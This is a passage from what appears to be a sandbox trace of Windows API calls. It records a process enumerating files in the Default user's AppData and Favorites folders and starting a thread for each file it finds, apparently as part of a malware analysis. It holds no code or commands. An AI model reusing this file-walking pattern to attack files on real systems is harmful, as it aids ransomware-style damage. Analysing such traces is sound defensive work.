(_String1="Microsoft", _String2="..") returned 1 [0097.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd9d190 [0097.929] wcscpy (in: _Dest=0x1cd9d190, _Source="C:\\Users\\Default\\AppData\\Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0097.929] wcscat (in: _Dest=0x1cd9d190, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\") returned="C:\\Users\\Default\\AppData\\Roaming\\" [0097.929] wcscat (in: _Dest=0x1cd9d190, _Source="Microsoft" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft" [0097.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d190) returned 1 [0097.929] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1cd62060 | out: lpFindFileData=0x1cd62060*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0097.929] FindClose (in: hFindFile=0x1b858d90 | out: hFindFile=0x1b858d90) returned 1 [0097.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62060) returned 1 [0097.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0097.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 Thread: id = 627 os_tid = 0x10b0 [0095.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd975d0 [0095.769] wcscpy (in: _Dest=0x1cd975d0, _Source="C:\\Users\\Default\\Favorites\\Links" | out: _Dest="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links" [0095.769] wcscat (in: _Dest=0x1cd975d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\") returned="C:\\Users\\Default\\Favorites\\Links\\" [0095.769] wcscat (in: _Dest=0x1cd975d0, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\*") returned="C:\\Users\\Default\\Favorites\\Links\\*" [0095.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61df0 [0095.770] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c370 [0095.771] wcscmp (_String1=".", _String2=".") returned 0 [0095.771] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.771] wcscmp (_String1="..", _String2=".") returned 1 [0095.771] wcscmp (_String1="..", _String2="..") returned 0 [0095.771] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0095.771] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0095.771] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0095.771] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0095.771] wcscmp (_String1="Web Slice Gallery.url", _String2=".") returned 1 [0095.771] wcscmp (_String1="Web Slice Gallery.url", _String2="..") returned 1 [0095.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b866f40 [0095.771] wcscpy (in: _Dest=0x1b866f40, _Source="C:\\Users\\Default\\Favorites\\Links" | out: _Dest="C:\\Users\\Default\\Favorites\\Links") returned="C:\\Users\\Default\\Favorites\\Links" [0095.771] wcscat (in: _Dest=0x1b866f40, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\") returned="C:\\Users\\Default\\Favorites\\Links\\" [0095.771] wcscat (in: _Dest=0x1b866f40, _Source="Web Slice Gallery.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" [0120.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98 [0120.256] FindNextFileW (in: hFindFile=0x1cd9c370, lpFindFileData=0x1cd61df0 | out: lpFindFileData=0x1cd61df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0120.256] FindClose (in: hFindFile=0x1cd9c370 | out: hFindFile=0x1cd9c370) returned 1 [0120.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61df0) returned 1 [0120.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0120.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 Thread: id = 628 os_tid = 0x10b4 [0095.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86eb80 [0095.773] wcscpy (in: _Dest=0x1b86eb80, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0095.773] wcscat (in: _Dest=0x1b86eb80, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0095.773] wcscat (in: _Dest=0x1b86eb80, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*" [0095.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61b80 [0095.773] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858f70 [0096.043] wcscmp (_String1=".", _String2=".") returned 0 [0096.043] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.043] wcscmp (_String1="..", _String2=".") returned 1 [0096.043] wcscmp (_String1="..", _String2="..") returned 0 [0096.043] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0096.043] wcscmp (_String1="IE Add-on site.url", _String2=".") returned 1 [0096.043] wcscmp (_String1="IE Add-on site.url", _String2="..") returned 1 [0096.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4dad0 [0096.043] wcscpy (in: _Dest=0x1cf4dad0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0096.043] wcscat (in: _Dest=0x1cf4dad0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0096.043] wcscat (in: _Dest=0x1cf4dad0, _Source="IE Add-on site.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0097.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c [0097.608] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0097.608] wcscmp (_String1="IE site on Microsoft.com.url", _String2=".") returned 1 [0097.608] wcscmp (_String1="IE site on Microsoft.com.url", _String2="..") returned 1 [0097.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad2a0 [0097.608] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0097.608] wcscat (in: _Dest=0x1b7ad2a0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0097.608] wcscat (in: _Dest=0x1b7ad2a0, _Source="IE site on Microsoft.com.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0097.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0097.609] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0097.609] wcscmp (_String1="Microsoft At Home.url", _String2=".") returned 1 [0097.609] wcscmp (_String1="Microsoft At Home.url", _String2="..") returned 1 [0097.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85b6d0 [0097.610] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0097.610] wcscat (in: _Dest=0x1b85b6d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0097.610] wcscat (in: _Dest=0x1b85b6d0, _Source="Microsoft At Home.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0097.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0097.611] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0097.611] wcscmp (_String1="Microsoft At Work.url", _String2=".") returned 1 [0097.611] wcscmp (_String1="Microsoft At Work.url", _String2="..") returned 1 [0097.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a58e0 [0097.611] wcscpy (in: _Dest=0x202a58e0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0097.611] wcscat (in: _Dest=0x202a58e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0097.611] wcscat (in: _Dest=0x202a58e0, _Source="Microsoft At Work.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0097.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a58e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0097.612] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0097.612] wcscmp (_String1="Microsoft Store.url", _String2=".") returned 1 [0097.612] wcscmp (_String1="Microsoft Store.url", _String2="..") returned 1 [0097.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a5970 [0097.612] wcscpy (in: _Dest=0x202a5970, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites" [0097.612] wcscat (in: _Dest=0x202a5970, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0097.612] wcscat (in: _Dest=0x202a5970, _Source="Microsoft Store.url" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0097.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a4 [0097.613] FindNextFileW (in: hFindFile=0x1b858f70, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0097.613] FindClose (in: hFindFile=0x1b858f70 | out: hFindFile=0x1b858f70) returned 1 [0097.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61b80) returned 1 [0097.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb80) returned 1 [0097.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86efe0) returned 1 Thread: id = 629 os_tid = 0x10b8 [0095.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd9c310 [0095.774] wcscpy (in: _Dest=0x1cd9c310, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0095.774] wcscat (in: _Dest=0x1cd9c310, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0095.774] wcscat (in: _Dest=0x1cd9c310, _Source="*" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\*" [0095.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61910 [0095.774] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858670 [0096.037] wcscmp (_String1=".", _String2=".") returned 0 [0096.037] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.037] wcscmp (_String1="..", _String2=".") returned 1 [0096.037] wcscmp (_String1="..", _String2="..") returned 0 [0096.037] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0096.037] wcscmp (_String1="MSN Autos.url", _String2=".") returned 1 [0096.037] wcscmp (_String1="MSN Autos.url", _String2="..") returned 1 [0096.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79e0f0 [0096.037] wcscpy (in: _Dest=0x1b79e0f0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0096.037] wcscat (in: _Dest=0x1b79e0f0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0096.037] wcscat (in: _Dest=0x1b79e0f0, _Source="MSN Autos.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" [0097.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e0f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdac [0097.030] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0097.030] wcscmp (_String1="MSN Entertainment.url", _String2=".") returned 1 [0097.030] wcscmp (_String1="MSN Entertainment.url", _String2="..") returned 1 [0097.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a4380 [0097.030] wcscpy (in: _Dest=0x202a4380, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0097.030] wcscat (in: _Dest=0x202a4380, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0097.030] wcscat (in: _Dest=0x202a4380, _Source="MSN Entertainment.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" [0097.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c [0097.031] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0097.031] wcscmp (_String1="MSN Money.url", _String2=".") returned 1 [0097.031] wcscmp (_String1="MSN Money.url", _String2="..") returned 1 [0097.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8666c0 [0097.031] wcscpy (in: _Dest=0x1b8666c0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0097.031] wcscat (in: _Dest=0x1b8666c0, _Source="\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0097.031] wcscat (in: _Dest=0x1b8666c0, _Source="MSN Money.url" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" [0097.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8666c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060 [0097.032] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0097.032] wcscmp (_String1="MSN Sports.url", _String2=".") returned 1 [0097.032] wcscmp (_String1="MSN Sports.url", _String2="..") returned 1 [0097.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b866640 [0097.032] wcscpy (in: _Dest=0x1b866640, _Source="C:\\Users\\Default\\Favorites\\MSN Websites" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites" [0097.032] wcscat (in: _Dest=0x1b866640, 